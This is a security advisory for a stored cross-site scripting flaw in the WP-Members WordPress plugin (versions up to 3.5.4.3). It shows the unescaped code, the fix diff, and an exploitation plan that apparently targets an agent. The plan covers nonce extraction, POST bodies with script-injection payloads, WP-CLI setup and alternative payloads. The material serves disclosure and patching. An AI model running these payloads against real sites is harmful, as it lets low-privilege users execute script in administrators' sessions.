WP-Members Membership Plugin <= 3.5.4.3 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Multiple Checkbox and Multiple Select User Profile Fields
Description
The WP-Members Membership Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Multiple Checkbox and Multiple Select user profile fields in all versions up to, and including, 3.5.4.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:NTechnical Details
<=3.5.4.3What Changed in the Fix
Changes introduced in v3.5.4.4
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-14448 (WP-Members Membership Plugin) ## 1. Vulnerability Summary The **WP-Members Membership Plugin (<= 3.5.4.3)** contains a stored cross-site scripting (XSS) vulnerability. The issue exists in how user profile fields of type `multiselect` and `multicheckbox`…
Show full research plan
Exploitation Research Plan: CVE-2025-14448 (WP-Members Membership Plugin)
1. Vulnerability Summary
The WP-Members Membership Plugin (<= 3.5.4.3) contains a stored cross-site scripting (XSS) vulnerability. The issue exists in how user profile fields of type multiselect and multicheckbox are processed and displayed. Specifically, in the WP_Members_User_Profile::profile method, the plugin explicitly skips HTML entity encoding for these field types, allowing arbitrary HTML and JavaScript injected into user metadata to be rendered unescaped in the WordPress dashboard and frontend profile pages.
2. Attack Vector Analysis
- Vulnerable Endpoint: WordPress User Profile Update (
wp-admin/profile.phpor frontend profile shortcode). - Vulnerable Sink: User Profile Display (Admin User Edit or Frontend Profile Dashboard).
- Required Authentication: Subscriber-level or higher.
- Preconditions: A custom field of type
multiselectormulticheckboxmust be defined in the WP-Members settings. - Vulnerable Parameter: Any custom field key associated with the
multiselectormulticheckboxtypes.
3. Code Flow
- Entry Point: A user (e.g., Subscriber) updates their profile.
- Storage: WordPress core or the plugin saves the custom field value into the
wp_usermetatable viaupdate_user_meta(). - Execution/Sink: When an administrator views the user's profile in the dashboard,
WP_Members_User_Profile::profile( $user_obj )is called (likely via theedit_user_profileorshow_user_profilehooks). - Logic Path (
includes/class-wp-members-user-profile.php):- Line 125:
$val = get_user_meta( $user_id, $meta, true );fetches the malicious metadata. - Line 127:
$val = ( $field['type'] == 'multiselect' || $field['type'] == 'multicheckbox' ) ? $val : htmlspecialchars( $val );- Vulnerability: If the type is
multiselectormulticheckbox, it bypasseshtmlspecialchars.
- Vulnerability: If the type is
- Line 149-151: The unescaped
$val(via$valtochk) is passed towpmem_form_field():$input = wpmem_form_field( array( 'name'=>$meta, 'type'=>$field['type'], 'value'=>$values, 'compare'=>$valtochk, 'delimiter'=>$field['delimiter'] ) );
- Line 125:
- Output: The unescaped payload is rendered into the HTML of the profile page, leading to script execution.
4. Nonce Acquisition Strategy
This exploit involves a standard WordPress profile update.
- Tool: Use
browser_navigateandbrowser_eval. - Step: Navigate to
wp-admin/profile.phpas the Subscriber. - Extraction: Use
browser_evalto extract the_wpnoncefield from the profile form.browser_eval("document.querySelector('#_wpnonce').value")
- Action: The core WordPress nonce for
update-user_{ID}is required to submit the form.
5. Exploitation Strategy
Step 1: Configuration (Pre-exploit)
The plugin must have a multi-select or multi-checkbox field. We will use WP-CLI to inject this configuration into the plugin's settings.
- Field Name:
attacker_xss_field - Type:
multicheckbox
Step 2: Profile Update (Injection)
Submit a POST request to update the Subscriber's profile with the payload.
- URL:
http://localhost:8080/wp-admin/profile.php - Method:
POST - Body:
action=update& user_id=[SUBSCRIBER_ID]& _wpnonce=[NONCE]& attacker_xss_field[]="><script>alert(document.domain)</script>& submit=Update+Profile - Note: The field uses array syntax
[]for multi-value types.
Step 3: Triggering (Execution)
Log in as an Administrator and navigate to the user's edit page: wp-admin/user-edit.php?user_id=[SUBSCRIBER_ID]. The script will execute upon loading the "WP-Members Additional Fields" section.
6. Test Data Setup
- Plugin Installation: Ensure
wp-membersversion 3.5.4.3 is active. - User Creation:
wp user create victim_admin admin@example.com --role=administrator --user_pass=passwordwp user create attacker_sub sub@example.com --role=subscriber --user_pass=password
- Field Configuration:
WP-Members stores fields in thewpmembers_fieldsoption.wp option get wpmembers_fields --format=json > fields.json # Add a field: label="XSS", name="attacker_xss_field", type="multicheckbox", values="choice1|choice1", profile=1 # (Crucial: set 'profile' => 1 so subscribers can see/edit it) wp option update wpmembers_fields '[ExistingFieldsArray...]' --format=json
7. Expected Results
- The POST request to
profile.phpreturns a302redirect withupdated=1. - In the database,
get_user_meta([ID], 'attacker_xss_field', true)contains the raw payload. - When an Admin views the user edit page, the HTML source contains:
<input ... value=""><script>alert(document.domain)</script>">(or similar depending on howwpmem_form_fieldconstructs the inputs).
8. Verification Steps
- Database Check:
Confirm it contains thewp user meta get [SUBSCRIBER_ID] attacker_xss_field<script>tag. - HTTP Check:
Usehttp_requestas Admin to fetchwp-admin/user-edit.php?user_id=[ID]and check the response body for the unescaped script tag.
9. Alternative Approaches
If multicheckbox fails due to internal formatting (e.g., the plugin expects a specific delimiter), try the multiselect type.
- Type:
multiselect - Payload: Submit as an array
attacker_xss_field[]=<option selected>XSS<script>alert(1)</script></option>. - Logic: Since
htmlspecialcharsis skipped on line 127, the entire option tag or its contents might break out of the<select>container. - Delimiter Check: WP-Members often uses
|as a delimiter for these fields. Attempting to injectchoice1|"><script>alert(1)</script>might be necessary if the plugin flattens the array before processing.
Summary
The WP-Members Membership Plugin is vulnerable to Stored Cross-Site Scripting via the 'multiselect' and 'multicheckbox' custom profile fields. Authenticated attackers with Subscriber-level access can inject malicious scripts into these fields, which are then rendered unescaped when an administrator views the user's profile in the dashboard.
Vulnerable Code
// includes/class-wp-members-user-profile.php lines 125-127 $val = get_user_meta( $user_id, $meta, true ); $val = ( $field['type'] == 'multiselect' || $field['type'] == 'multicheckbox' ) ? $val : htmlspecialchars( $val ); --- // includes/class-wp-members-user-profile.php lines 387-388 } elseif ( $field['type'] == 'multiselect' || $field['type'] == 'multicheckbox' ) { $fields[ $meta ] = ( isset( $_POST[ $meta ] ) ) ? implode( $field['delimiter'], wp_unslash( $_POST[ $meta ] ) ) : '';
Security Fix
@@ -385,7 +385,7 @@ } elseif ( $field['type'] == 'checkbox' ) { $fields[ $meta ] = wpmem_get_sanitized( $meta, '' ); // ( isset( $_POST[ $meta ] ) ) ? sanitize_text_field( $_POST[ $meta ] ) : ''; } elseif ( $field['type'] == 'multiselect' || $field['type'] == 'multicheckbox' ) { - $fields[ $meta ] = ( isset( $_POST[ $meta ] ) ) ? implode( $field['delimiter'], wp_unslash( $_POST[ $meta ] ) ) : ''; + $fields[ $meta ] = ( isset( $_POST[ $meta ] ) ) ? implode( $field['delimiter'], wpmem_sanitize_array( $_POST[ $meta ] ) ) : ''; } elseif ( $field['type'] == 'textarea' ) { $fields[ $meta ] = wpmem_get_sanitized( $meta, '', 'post', 'textarea' ); // ( isset( $_POST[ $meta ] ) ) ? sanitize_textarea_field( $_POST[ $meta ] ) : ''; }
Exploit Outline
1. Authentication: Log in as a Subscriber-level user. 2. Target Discovery: Identify a custom user profile field of type 'multiselect' or 'multicheckbox' that is editable by users. 3. Payload Crafting: Prepare a JavaScript payload designed to break out of HTML attributes, such as `"><script>alert(document.domain)</script>`. 4. Nonce Acquisition: Access the profile update page (e.g., `/wp-admin/profile.php`) and extract the `_wpnonce` value from the form. 5. Injection: Submit a POST request to the profile update endpoint, passing the payload inside an array for the targeted field (e.g., `attacker_field[]="><script>alert(1)</script>`). 6. Execution: An administrator views the attacker's user profile in the WordPress dashboard (e.g., `/wp-admin/user-edit.php?user_id=[ATTACKER_ID]`). The unsanitized payload is rendered directly into the HTML source, executing the script in the admin's session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.